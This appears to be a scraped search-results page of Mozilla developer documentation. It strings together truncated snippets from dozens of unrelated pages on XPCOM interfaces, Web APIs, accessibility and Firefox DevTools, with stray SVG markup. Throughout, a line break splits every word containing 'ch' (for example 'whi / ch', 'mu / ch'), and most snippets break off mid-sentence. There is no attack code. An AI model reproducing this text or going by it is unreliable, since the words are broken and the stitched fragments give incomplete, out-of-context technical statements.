... state_selected 0x00000002 the object is selected, that is it indicates this object is the
child of an object that allows its
children to be selected and that this
child is one of those
children that has been selected.
... state_
checked 0x00000010 the object is
checked.
...And 14 more matches
nsIAutoCompleteInput
inherits from: nsisupports last
changed in gecko 1.9 (firefox 3) method overview acstring getsear
chat(in unsigned long index); void onsear
chbegin(); void onsear
chcomplete(); boolean ontextentered(); boolean ontextreverted(); void selecttextrange(in long startindex, in long endindex); attributes attribute type description completedefaultindex boolean if a sear
ch result has its defaultindex set, this will optionally try to complete the text ...
...if false, the rollup event will be dispat
ched.
... minresultsforpopup unsigned long specifies a minimum number of sear
ch results that must be available before the autocomplete popup will open.
...And 14 more matches
nsIMsgMessageService
objects that implements nsimsgmessageservice give the user top level routines related to messages like copying, displaying, atta
chment's manipulation, printing, streaming the message content to eml format string, etc.
...nsiuri aurl); [noscript] void copymessages(in nsmsgkeyarrayptr keys, in nsimsgfolder srcfolder, in nsistreamlistener acopylistener, in boolean amovemessage, in nsiurllistener aurllistener, in nsimsgwindow amsgwindow, out nsiuri aurl); void displaymessage(in string amessageuri, in nsisupports adisplayconsumer, in nsimsgwindow amsgwindow, in nsiurllistener aurllistener, in string a
charsetoverride, out nsiuri aurl); void openatta
chment(in string acontenttype, in string afilename, in string aurl, in string amessageuri, in nsisupports adisplayconsumer, in nsimsgwindow amsgwindow, in nsiurllistener aurllistener); void savemessagetodisk(in string amessageuri, in nsifilespec afile, in boolean ageneratedummyenvelope, in nsiurllistener aurllistener, out nsiuri aurl,...
... in boolean canonicallineending, in nsimsgwindow amsgwindow); void geturlforuri(in string amessageuri, out nsiuri aurl, in nsimsgwindow amsgwindow); void displaymessageforprinting(in string amessageuri, in nsisupports adisplayconsumer, in nsimsgwindow amsgwindow, in nsiurllistener aurllistener, out nsiuri aurl); void sear
ch(in nsimsgsear
chsession asear
chsession, in nsimsgwindow amsgwindow, in nsimsgfolder amsgfolder, in string asear
churi); nsiuri streammessage(in string amessageuri, in nsisupports aconsumer, in nsimsgwindow amsgwindow, in nsiurllistener aurllistener, in boolean aconvertdata, in string aadditionalheader); nsiuri streamheaders(in string amessageuri, in nsistreamlistener aconsumer, in nsiurllistener aurllistener [optional] in boolean...
...And 14 more matches
nsINavHistoryResultNode
1.0 66 introduced gecko 1.9 inherits from: nsisupports last
changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) attributes attribute type description accesscount unsigned long total number of times the uri has been accessed.
... for hosts, this is the total number of the
children under it, rather than the total number of times the host has been accessed (getting that information would require an additional query, so for performance reasons that information isn't given by default).
... bookmarkindex long when this item is in a bookmark folder (its parent is of type folder), this is the index into that folder at whi
ch this node resides.
...And 14 more matches
nsISessionStore
1.0 66 introduced gecko 1.8 inherits from: nsisupports last
changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) in versions of firefox prior to 3.5, the user preference browser.sessionstore.enabled must be true for these calls to be successful.
... void deletetabvalue( in nsidomnode atab, in astring akey ); parameters atab the tab for whi
ch to delete the value.
... void deletewindowvalue( in nsidomwindow awindow, in astring akey ); parameters awindow the window in whi
ch to delete the value.
...And 14 more matches
GlobalEventHandlers - Web APIs
ea
ch of these interfaces can, of course, add more event handlers in addition to the ones listed below.
... globaleventhandlers.on
change is an eventhandler representing the code to be called when the
change event is raised.
... globaleventhandlers.oncue
change is an eventhandler representing the code to be called when the cue
change event is raised.
...And 14 more matches
HTMLSelectElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" heig...
...ht="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">htmlelement</text></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlselectelement" target="_top"><rect x="321" y="65" width="170" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="406" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle...
...And 14 more matches
MediaStreamTrack - Web APIs
properties in addition to the properties listed below, mediastreamtrack has constrainable properties whi
ch can be set using applyconstraints() and accessed using getconstraints() and getsettings().
...if the track has been disconnected, this value can be
changed but has no more effect.
...the muted property refers to a condition in whi
ch there's no media because of a te
chnical issue.
...And 14 more matches
Payment Request API - Web APIs
the payment request api provides a consistent user experience for both mer
chants and users.
... it is not a new way for paying for things; rather, it's a way for users to select their preferred way of paying for things, and make that information available to a mer
chant.
... payment request concepts and usage many problems related to online shopping-cart abandonment can be traced to
checkout forms, whi
ch can be difficult and time consuming to fill out and often require multiple steps to complete.
...And 14 more matches
Using the Permissions API - Web APIs
this article provides a basic guide to using the w3c permissions api, whi
ch provides a programmatic way to query the status of api permissions attributed to the current context.
... let's face it, permissions on the web are a necessary evil, and they are not mu
ch fun to deal with as developers.
... historically, different apis handle their own permissions inconsistently — for example the notifications api allows for explicit
checking of permission status and requesting permission, whereas the geolocation api doesn't (whi
ch causes problems if the user denied the initial permission request, as we'll see below).
...And 14 more matches
RTCDtlsTransport - Web APIs
the rtcdtlstransport interface provides access to information about the datagram transport layer security (dtls) transport over whi
ch a rtcpeerconnection's rtp and rtcp packets are sent and received by its rtcrtpsender and rtcrtpreceiver objects.
... a dtls transport is also used to provide information about sctp packets transmitted and received by an connection's data
channels.
...<svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/rtcdtlstransport" target="_top"><rect x="1" y="1" width="160" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="81" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">rtcdtlstransport</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} propertiesicetransport read only the read-only rtcdtlstransport property icetransport contains a reference to the underlying rtcicetransport.state read only the state read-only property of the rtcdtlstransport interface provides information whi
ch describes...
...And 14 more matches
RTCPeerConnection.setRemoteDescription() - Web APIs
the method takes a single parameter—the session description—and it returns a promise whi
ch is fulfilled once the description has been
changed, asyn
chronously.
...keep in mind that if setremotedescription() is called while a connection is already in place, it means renegotiation is underway (possibly to adapt to
changing network conditions).
... because descriptions will be ex
changed until the two peers agree on a configuration, the description submitted by calling setremotedescription() does not immediately take effect.
...And 14 more matches
Storage API - Web APIs
the storage standard defines a common, shared storage system to be used by all apis and te
chnologies that store content-accessible data for individual web sites.
... the storage api gives sites' code the ability to find out how mu
ch space they can use, how mu
ch they are already using, and even control whether or not they need to be alerted before the user agent disposes of site data in order to make room for other things.
... site storage—the data stored for a web site whi
ch is managed by the storage standard—includes: indexeddb databases ca
che api data service worker registrations web storage api data managed using window.localstorage history state information saved using history.pushstate() application ca
ches notification data other kinds of site-accessible, site-specific data that may be maintained site storage units the site storage system described by the storage standard and interacted with using the storage api consists of a single site storage unit for ea
ch origin.
...And 14 more matches
Matrix math for the web - Web APIs
while this article uses css to simplify explanations, matrices are a core concept used by many different te
chnologies including webgl, the webxr (vr and ar) api, and glsl shaders.
...this is a special transformation matrix whi
ch functions mu
ch like the number 1 does in scalar multiplication; just like n * 1 = n, multiplying any matrix by the identity matrix gives a resulting matrix whose values mat
ch the original matrix.
...
check out the webgl model view projection article for a look into how it comes in handy.
...And 14 more matches
Writing a WebSocket server in C# - Web APIs
you can do it in any server-side language, but to keep things simple and more understandable, i
chose microsoft's language.
... this server conforms to rfc 6455 so it will only handle connections from
chrome version 16, firefox 11, ie 10 and over.
...luckily, c# has a tcplistener class whi
ch does as the name suggests.
...And 14 more matches
WritableStream.WritableStream() - Web APIs
if this process is to be done asyn
chronously, it can return a promise to signal success or failure.
... write(
chunk, controller) optional this method, also defined by the developer, will be called when a new
chunk of data (specified in the
chunk parameter) is ready to be written to the underlying sink.
...the controller parameter passed to this method is a writablestreamdefaultcontroller that can be used by the developer to control the stream as more
chunks are submitted for writing.
...And 14 more matches
XRReferenceSpace.getOffsetReferenceSpace() - Web APIs
the xrreferencespace interface's getoffsetreferencespace() method returns a new reference space object whi
ch describes the relative difference in position between the object on whi
ch the method is called and a given point in 3d space.
... in other words, when you have an object in 3d space and need to position another object relative to that one, you can call getoffsetreferencespace(), passing into it the position and orientation you want the second object to have relative to the position and orientation of the object on whi
ch you call getoffsetreferencespace().
...this is demonstrated in the example implementing rotation based on non-xr inputs, whi
ch demonstrates a way to use this method to let the user use their mouse to pit
ch and yaw their viewing angle.
...And 14 more matches
Web APIs
aambient light eventsbbackground tasksbattery api beaconbluetooth apibroadcast
channel apiccss counter stylescss font loading api cssomcanvas api
channel messaging apiconsole apicredential management apiddomeencoding apiencrypted media extensionsffet
ch apifile system api frame timing apifullscreen apiggamepad api geolocation apihhtml drag and drop apihigh resolution timehistory apiiimage capture apiindexeddbintersection observer apillong tasks api mmedia capabilities api m...
...edia capture and streamsmedia session apimedia source extensions mediastream recordingnnavigation timingnetwork information api ppage visibility apipayment request apiperformance apiperformance timeline apipermissions apipointer eventspointer lock apiproximity events push api rresize observer apiresource timing apisserver sent eventsservice workers apistoragestorage access apistreams ttou
ch eventsuurl apivvibration apivisual viewport wweb animationsweb audio apiweb authentication apiweb crypto apiweb notificationsweb storage apiweb workers apiwebglwebrtcwebvttwebxr device apiwebsockets api interfaces this is a list of all the interfaces (that is, types of objects) that are available.
...arams ambientlightsensor analysernode animation animationeffect animationevent animationplaybackevent animationtimeline arraybufferview attr audiobuffer audiobuffersourcenode audioconfiguration audiocontext audiocontextlatencycategory audiocontextoptions audiodestinationnode audiolistener audionode audionodeoptions audioparam audioparamdescriptor audioparammap audioprocessingevent audios
cheduledsourcenode audiotrack audiotracklist audioworklet audioworkletglobalscope audioworkletnode audioworkletnodeoptions audioworkletprocessor authenticatorassertionresponse authenticatorattestationresponse authenticatorresponse b baseaudiocontext basiccardrequest basiccardresponse batterymanager beforeinstallpromptevent beforeunloadevent biquadfilternode blob blobbuilder blobevent blue...
...And 14 more matches
ARIA: tab role - Accessibility
the common user experience pattern is a group of visual tabs above, or to the side of, a content area, and selecting a different tab
changes the content and makes the selected tab more prominent than the other tabs.
... elements with the role tab must either be a
child of an element with the tablist role, or have their id part of the aria-owns property of a tablist.
... this combination identifies to assistive te
chnology that the element is part of a group of related elements.
...And 14 more matches
Keyboard-navigable JavaScript widgets - Accessibility
overview web applications often use javascript to mimic desktop widgets su
ch as menus, tree views, ri
ch text fields, and tab panels.
...this document describes te
chniques to make javascript widgets accessible with the keyboard.
... the order in whi
ch elements gain focus when using a keyboard, is the source order by default.
...And 14 more matches
powermetrics
it is most useful for getting cpu, gpu and wakeup measurements in a precise and easily scriptable fashion (unlike activity monitor and top) especially in combination with rapl via the ma
ch power command.
...the firefox parent process and
child processes.
...
change this number to get shorter or longer samples.
...And 13 more matches
Phishing: a short definition
the impact has not improved mu
ch since.
... phishing is an attempt to collect sensitive information, su
ch as usernames, passwords, and financial details by disguising as a trustworthy entity online.
... a relatively simple, yet effective, phishing s
cheme is sending an email with a fake invoice of a person’s favorite shopping site.
...And 13 more matches
About NSPR
these facilities include threads, thread syn
chronization, normal file and network i/o, interval timing and calendar time, basic memory management (malloc and free) and shared library linking.
...it strives to not export the lowest common denominator, but to exploit the best features of ea
ch operating system on whi
ch it runs, and still provide a uniform service across a wide range of host offerings.
...nspr, while far from perfect, does provide a single api to whi
ch clients may program and expect reasonably consistent behavior.
...And 13 more matches
Creating JavaScript jstest reftests
test262 tests test262 is the implementation conformance test suite for the latest drafts of ecmascript language specification, as well as internationalization api specification and the json data inter
change format.
... it is maintained by tc39, the ecmascript standard's te
chnical committee.
...if you are contributing directly to test262, you must submit the tests in the test262 format, whi
ch you can see in the test262 git repository and read about here.
...And 13 more matches
Creating JavaScript tests
in whi
ch test suite does your new test belong?
...only add tests to these suites whi
ch test jit correctness or functionality.
... jstests automatically load js/src/tests/shell.js before they run, whi
ch creates a ton of functions.
...And 13 more matches
Getting SpiderMonkey source code
the following command line downloads the entire mozilla repository, including the full
change history and a lot of gecko and firefox source code that isn't part of spidermonkey.
... it also
changes to the spidermonkey directory (js/src).
... hg clone https://hg.mozilla.org/mozilla-central/ cd js/src to avoid getting the full
change history, click the zip or gz links at https://hg.mozilla.org/index.cgi/mozilla-central/file/tip.
...And 13 more matches
JSErrorReport
describes the format of a js error that is used either by the internal error reporting me
chanism or by a user-defined error-reporting me
chanism.
... syntax jserrorreport(); properties name type description filename const
char * indicates the source file or url that produced the error condition.
...this allows an attack by whi
ch a malicious website loads a sensitive file (say, a bank statement) cross-origin (using the user's cookies), and sniffs the generated syntax errors (via a window.onerror handler) for juicy morsels of its contents.
...And 13 more matches
imgIDecoderObserver
1.0 66 introduced gecko 12.0 inherits from: imgicontainerobserver last
changed in gecko 1.7 we make the distinction here between "load" and "decode" notifications.
...decode notifications may or may not be syn
chronous, depending on the situation.
...void ondataavailable( in imgirequest arequest, in boolean acurrentframe, [const] in nsintrect arect ); parameters arequest the request on whi
ch data is available, or null if being called for an imgidecoder object.
...And 13 more matches
inIDOMUtils
inherits from: nsisupports last
changed in gecko 22.0 (firefox 22.0 / thunderbird 22.0 / seamonkey 2.19) implemented by: @mozilla.org/inspector/dom-utils;1 as a service: var inidomutils = components.classes["@mozilla.org/inspector/dom-utils;1"] .getservice(components.interfaces.inidomutils); method overview void addpseudoclasslock(in nsidomelement aelement, in domstring apseudoclass); void clearpseudoclasslocks(in nsidomelement aelement); [implicit_jscontext] jsval colornametorgb(in domstring acolorname); nsiarray getbindingurls(in nsidomelement aelement); nsidomnodelist get
childrenfornode(in nsidomnode anode, in boolean ashowinganonymouscontent...
... astring getselectortext(in nsidomcssstylerule arule, in unsigned long aselectorindex); unsigned long long getspecificity(in nsidomcssstylerule arule, in unsigned long aselectorindex); nsidomfontfacelist getusedfontfaces(in nsidomrange arange); bool haspseudoclasslock(in nsidomelement aelement, in domstring apseudoclass); boolean isignorablewhitespace(in nsidom
characterdata adatanode); bool isinheritedproperty(in astring apropertyname); void parsestylesheet(in nsidomcssstylesheet asheet, in domstring ainput); void removepseudoclasslock(in nsidomelement aelement, in domstring apseudoclass); astring rgbtocolorname(in octet ar, in octet ag, in octet ab); bool selectormat
cheselement(in nsidomelement aelement, in n...
... return value an array of nsiuri objects representing the current xbl binding (if any) for the element and its hierar
chy of base bindings.
...And 13 more matches
nsIAccessibleSelectable
accessible/public/nsiaccessibleselectable.idlscriptable an interface for the accessibility module and in-process accessibility clients for dealing with getting and
changing the selection of accessible nodes.
... inherits from: nsisupports last
changed in gecko 1.7 method overview void add
childtoselection(in long index); void clearselection(); nsiarray getselected
children(); boolean is
childselected(in long index); nsiaccessible refselection(in long index); void remove
childfromselection(in long index); boolean selectallselection(); attributes attribute type description selectioncount long the number of accessible
children currently selected.
... constants constant value description eselection_add 0 eselection_remove 1 eselection_getstate 2 methods add
childtoselection() adds the specified accessible
child of the object to the object's selection.
...And 13 more matches
nsIClipboard
widget/nsiclipboard.idlscriptable this interface supports basic clipboard operations su
ch as: setting, retrieving, emptying, mat
ching and supporting clipboard data.
... inherits from: nsisupports last
changed in gecko 30.0 (firefox 30.0 / thunderbird 30.0 / seamonkey 2.27) method overview void emptyclipboard(in long awhi
chclipboard); void forcedatatoclipboard(in long awhi
chclipboard); obsolete since gecko 1.8 void getdata(in nsitransferable atransferable, in long awhi
chclipboard); boolean hasdatamat
chingflavors([array, size_is(alength)] in string aflavorlist, in unsigned long alength, in long awhi
chclipboard); void setdata(in nsitransferable atransferable, in nsiclipboardowner anowner, in long awhi
chclipboard); boolean supportsselectionclipboard(); boolean supportsfindclipboard(); constants most clipboard operations in firefox use kglobalclipboard, whi
ch is the one also used by th...
... the kselectionclipboard is peculiar to the x windows system, where it refers to the primary selection, whi
ch is the one that simple mouse selection and middle-click paste operations are using.
...And 13 more matches
nsIEventTarget
events may be sent to this target from any thread by calling the dispat
ch method.
... 1.0 66 introduced gecko 1.6 inherits from: nsisupports last
changed in gecko 1.9 (firefox 3) method overview void dispat
ch(in nsirunnable event, in unsigned long flags); boolean isoncurrentthread(); void postevent(in pleventptr aevent); native code only!
... obsolete since gecko 1.9 constants dispat
ch flags constant value description dispat
ch_normal 0 this flag specifies the default mode of event dispat
ch, whereby the event is simply queued for later processing.
...And 13 more matches
nsIExternalProtocolService
uriloader/exthandler/nsiexternalprotocolservice.idlscriptable the external protocol service is used for finding and laun
ching web handlers (a la registerprotocolhandler in the html5 draft) or platform-specific applications for handling particular protocols.
... inherits from: nsisupports last
changed in gecko 1.9 (firefox 3) you can ask the external protocol service if it has an external handler for a given protocol s
cheme.
...method overview boolean externalprotocolhandlerexists(in string aprotocols
cheme); astring getapplicationdescription(in autf8string as
cheme); nsihandlerinfo getprotocolhandlerinfo(in acstring aprotocols
cheme); nsihandlerinfo getprotocolhandlerinfofromos(in acstring aprotocols
cheme, out boolean afound); boolean isexposedprotocol(in string aprotocols
cheme); void loaduri(in nsiuri auri, [optional] in nsiinterfacerequestor awindowcontext); void loadurl(in nsiuri aurl); void setprotocolhandlerdefaults(in nsihandlerinfo ahandlerinfo, in boolean aoshandlerexists); methods externalprotocolhandlerexists()
check whether a handler for a specific protocol exists.
...And 13 more matches
nsINavHistoryService
1.0 66 introduced gecko 1.8 inherits from: nsisupports last
changed in gecko 22 (firefox 22 / thunderbird 22 / seamonkey 2.19) implemented by: "@mozilla.org/browser/nav-history-service;1".
...ng aresultcount, out nsinavhistoryqueryoptions options); autf8string queriestoquerystring([array, size_is(aquerycount)] in nsinavhistoryquery aqueries, in unsigned long aquerycount, in nsinavhistoryqueryoptions options); void addobserver(in nsinavhistoryobserver observer, in boolean ownsweak); void removeobserver(in nsinavhistoryobserver observer); void runinbat
chmode(in nsinavhistorybat
chcallback acallback, in nsisupports aclosure); void importhistory(in nsifile file); astring get
charsetforuri(in nsiuri auri); astring set
charsetforuri(in nsiuri auri, in astring a
charset); attributes attribute type description hashistoryentries boolean true if there is any history.
...this is mu
ch better than using browserhistory.count since that can be very slow if there is a lot of history (it must enumerate ea
ch item).
...And 13 more matches
nsIPrincipal
caps/nsiprincipal.idlscriptable provides the interface to a principal, whi
ch represents a security context.
... on the web, for example, a typical principal is comprised of an url s
cheme, host, and port.
... inherits from: nsiserializable last
changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) for details on principals, how they work, and how to get the appropriate one, see security
check basics.
...And 13 more matches
nsIWebBrowserFind
embedding/components/find/public/nsiwebbrowserfind.idlscriptable sear
ches for text in a web browser.
... inherits from: nsisupports last
changed in gecko 1.7 get one by doing a getinterface on an nsiwebbrowser.
... by default, the implementation will sear
ch the focused frame, or if there is no focused frame, the web browser content area.
...And 13 more matches
ctypes
instead, they convert to objects of the wrapper types ctypes.int64 and ctypes.uint64, whi
ch are javascript objects rather than cdata objects.
...
character types
character types are 8-bit values that behave like their c counterparts.
... for example, ctypes.
char.array(30)(str) converts the string str to utf-8 and returns a new cdata object of array type.
...And 13 more matches
DOM Inspector FAQ - Firefox Developer Tools
the file menu contains approa
ches whi
ch will allow you to inspect a document.
... inspect
chrome document inspect application
chrome, including open xul windows, e.g., the browser window.
... inspect a url this just focuses the dom inspector's address bar, whi
ch allow you to inspect arbitrary documents whi
ch can be accessed via a url.
...And 13 more matches
DOM Inspector internals - Firefox Developer Tools
this is the two-pane inspector that appears when ctrl+shift+i (or cmd+shift+i) is pressed from one of the applications for whi
ch dom inspector has explicit support (i.e., menuitems placed via overlay).
... besides the dom inspector's primary ui, there are a couple other top-level inspectors whi
ch differ slightly (the object inspector and dom inspector sidebar used in seamonkey).
...one panel reacts to
changes to the inspected document, and the other panel reacts to
changes to the selection in the first panel.
...And 13 more matches
Browser Console - Firefox Developer Tools
but while the web console executes code in the page window scope, the browser console executes them in the scope of the browser's
chrome window.
...to enable it set the devtools.
chrome.enabled preference to true in about:config, or set the "enable browser
chrome and add-on debugging toolboxes" (firefox 40 and later) option in the developer tool settings.
... you can also start the browser console by laun
ching firefox from the command line and passing the -jsconsole argument: /applications/firefoxaurora.app/contents/macos/firefox-bin -jsconsole the browser console looks like this: you can see that the browser console looks and behaves very mu
ch like the web console: most of the window is occupied by a pane that display messages.
...And 13 more matches
Tutorial: Show Allocations Per Call Path - Firefox Developer Tools
visit the url about:config, and set the devtools.
chrome.enabled preference to true: setting the 'devtools.
chrome.enabled' preference open a developer scrat
chpad (menu button > developer > scrat
chpad), and select "browser" from the "environment" menu.
... (this menu will not be present unless you have
changed the preference as explained above.) selecting the 'browser' context in the scrat
chpad enter the following code in the scrat
chpad: // this simply defines the 'debugger' constructor in this // scrat
chpad; it doesn't actually start debugging anything.
... window.demotrackallocations = function() { dbg = new debugger; // this makes hacking on the demo *mu
ch* more // pleasant.
...And 13 more matches
Document.cookie - Web APIs
note that ea
ch key and value may be surrounded by whitespace (space and tab
characters): in fact, rfc 6265 mandates a single space after ea
ch semicolon, but some user agents may not abide by this.
...contrary to earlier specifications, leading dots in domain names are ignored, but browsers may decline to set the cookie containing su
ch dots.
... note: the domain must mat
ch the domain of the javascript origin.
...And 13 more matches
Element: mousewheel event - Web APIs
the obsolete and non-standard mousewheel event is fired asyn
chronously at an element to provide updates while a mouse wheel or similar device is operated.
... bubbles yes cancelable yes interface mousewheelevent event handler property onmousewheel the detail property the value of the detail property is always zero, except in opera, whi
ch uses detail similarly to the firefox-only dommousescroll event's detail value, whi
ch indicates the scroll distance in terms of lines, with negative values indicating the scrolling movement is either toward the bottom or toward the right, and positive values indicating scrolling to the top or left.
... wheeldelta, wheeldeltax and wheeldeltay value the wheeldelta attribute value is an abstract value whi
ch indicates how far the wheel turned.
...And 13 more matches
Element.querySelectorAll() - Web APIs
the element method queryselectorall() returns a static (not live) nodelist representing a list of elements mat
ching the specified group of selectors whi
ch are descendants of the element on whi
ch the method was called.
... syntax elementlist = parentnode.queryselectorall(selectors); parameters selectors a domstring containing one or more selectors to mat
ch against.
... note:
characters whi
ch are not part of standard css syntax must be escaped using a backslash
character.
...And 13 more matches
Ajax navigation example - Web APIs
to see how it works, please create the following files (or git clone https://github.com/giabao/mdn-ajax-nav-example.git ): note: for fully integrating the <form> elements within this me
chanism, please take a look at the paragraph submitting forms and uploading files.
... first_page.php: <?php $page_title = "first page"; $as_json = false; if (isset($_get["view_as"]) && $_get["view_as"] == "json") { $as_json = true; ob_start(); } else { ?> <!doctype html> <html> <head> <?php include "include/header.php"; e
cho "<title>" .
..."</title>"; ?> </head> <body> <?php include "include/before_content.php"; ?> <p>this paragraph is shown only when the navigation starts from <strong>first_page.php</strong>.</p> <div id="ajax-content"> <?php } ?> <p>this is the content of <strong>first_page.php</strong>.</p> <?php if ($as_json) { e
cho json_encode(array("page" => $page_title, "content" => ob_get_clean())); } else { ?> </div> <p>this paragraph is shown only when the navigation starts from <strong>first_page.php</strong>.</p> <?php include "include/after_content.php"; e
cho "</body>\n</html>"; } ?> second_page.php: <?php $page_title = "second page"; $as_json = false; if (isset($_get["view_as"]) && $_get["view_as"] == "json") { $as_json = tr...
...And 13 more matches
IndexedDB API - Web APIs
this api uses indexes to enable high-performance sear
ches of this data.
...if you'd prefer a simple api, try libraries su
ch as localforage, dexie.js, zangodb, pou
chdb, idb, idb-keyval, jsstore and lovefield that make indexeddb more programmer-friendly.
...however, unlike sql-based rdbmses, whi
ch use fixed-column tables, indexeddb is a javascript-based object-oriented database.
...And 13 more matches
MediaMetadata - Web APIs
the mediametadata interface of the the media session api provides allows a web page to provide ri
ch media metadata for display in a platform ui.
...if you'd like to contribute to the data, please
check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobile
chromeedgefirefoxinternet exploreroperasafariandroid webview
chrome for androidfirefox for androidopera for androidsafari on iossamsung internetmediametadata experimental
chrome full support 57edge no support nofirefox full support 71ie no support noopera full support yessafari ?
...And 13 more matches
NavigationPreloadManager - Web APIs
await self.registration.navigationpreload.enable(); } }()); }); using a preloaded response the following example shows the implementation of a fet
ch event that uses a preloaded response.
... addeventlistener('fet
ch', event => { event.respondwith(async function() { // respond from the ca
che if we can const ca
chedresponse = await ca
ches.mat
ch(event.request); if (ca
chedresponse) return ca
chedresponse; // else, use the preloaded response, if it's there const response = await event.preloadresponse; if (response) return response; // else try the network.
... return fet
ch(event.request); }()); }); specifications specification status comment service workersthe definition of 'navigationpreloadmanager' in that specification.
...And 13 more matches
PerformanceResourceTiming - Web APIs
an application can use the timing metrics to determine, for example, the length of time it takes to fet
ch a specific resource, su
ch as an xmlhttprequest, <svg>, image, or script.
... the interface's properties create a resource loading timeline with high-resolution timestamps for network events su
ch as redirect start and end times, fet
ch start, dns lookup start and end times, response start and end times, etc..
... additionally, the interface extends performanceentry with other properties whi
ch provide data about the size of the fet
ched resource as well as the type of resource that initiated the fet
ch.
...And 13 more matches
PhotoCapabilities - Web APIs
the photocapabilities interface of the the mediastream image capture api provides available configuration options for an atta
ched photographic device.
... example the following example, extracted from
chrome's image capture / photo resolution sample, uses the results from getphotocapabilities() to modify the size of an input range.
... return imagecapture.getphotocapabilities(); }) .then(photocapabilities => { const settings = imagecapture.track.getsettings(); input.min = photocapabilities.imagewidth.min; input.max = photocapabilities.imagewidth.max; input.step = photocapabilities.imagewidth.step; return imagecapture.getphotosettings(); }) .then(photosettings => { input.value = photosettings.imagewidth; }) .cat
ch(error => console.log('argh!', error.name || error)); specifications specification status comment mediastream image capturethe definition of 'photocapabilities' in that specification.
...And 13 more matches
XPCOM
if the component uses only "frozen" xpcom interfaces, there is a good
chance the same binary component will work with different versions of gecko (version 1.8 and 1.9, for example).
... the more likely case is that the component uses "unfrozen" interfaces and those interfaces can
change between gecko versions.
...xpcom is mozilla’s cross platform component object model, similar to microsoft’s com te
chnology.
...And 12 more matches
XUL Overlays
overlays provide a general me
chanism for: adding ui for additional components, as described in the example above overriding small pieces of a xul file without having to resupply the whole ui reusing particular pieces of the ui xul files and overlays work together to describe a single master document.
... though there is no formal restriction on what kind of xul content is located in "base" xul files and what kind should be put in overlays, xul overlays generally define items that are not present in the basic versions of the ui, su
ch as additional components.
...inserting the following processing instruction before the doctype declaration in a base file tells the layout engine to load the named overlay file: <?xul-overlay href="
chrome://component/content/componentoverlay.xul"?> where component is the name of the package being overlayed (e.g.,
chrome://navigator/content/navigatoroverlay.xul).
...And 12 more matches
Initialization and Destruction - Plugins
« previousnext » this
chapter describes the methods that provide the basic processes of initialization, instance creation and destruction, and shutdown.
... this
chapter ends with initialize and shutdown example, whi
ch includes the np_initialize and np_shutdown methods.
... nperror np_initialize(void) { }; after the last plug-in instance is deleted, the browser calls np_shutdown, whi
ch releases the memory or resources allocated by np_initialize.
...And 12 more matches
Debugger-API - Firefox Developer Tools
the debugger interface mozilla’s javascript engine, spidermonkey, provides a debugging interface named debugger whi
ch lets javascript code observe and manipulate the execution of other javascript code.
...however, debugger is quite general, and can be used to implement other kinds of tools like tracers, coverage analysis, pat
ch-and-continue, and so on.
... debugger has three essential qualities: it is a source level interface: it operates in terms of the javascript language, not ma
chine language.
...And 12 more matches
Dominators view - Firefox Developer Tools
it looks something like this: the dominators view consists of two panels: the dominators tree panel shows you whi
ch nodes in the snapshot are retaining the most memory the retaining paths panel (new in firefox 47) shows the 5 shortest retaining paths for a single node.
... dominators tree panel the dominators tree tells you whi
ch objects in the snapshot are retaining the most memory.
...for example: variables allocated on the stack need to be rooted, or internal ca
ches may need to root their elements.
...And 12 more matches
Style Editor - Firefox Developer Tools
the style editor enables you to: view and edit all the stylesheets associated with a page create new stylesheets from scrat
ch and apply them to the page import existing stylesheets and apply them to the page to open the style editor
choose the "style editor" option from the "web developer" menu (whi
ch is a submenu in the "tools" menu on the mac).
...you can save any
changes you've made to the style sheet to your local computer by clicking the save button in the bottom-right corner of ea
ch sheet's entry in the list.
...any
changes you make are immediately applied to the page.
...And 12 more matches
AudioListener - Web APIs
this is why these values are not marked read only, whi
ch is how they appear in the specification's idl.
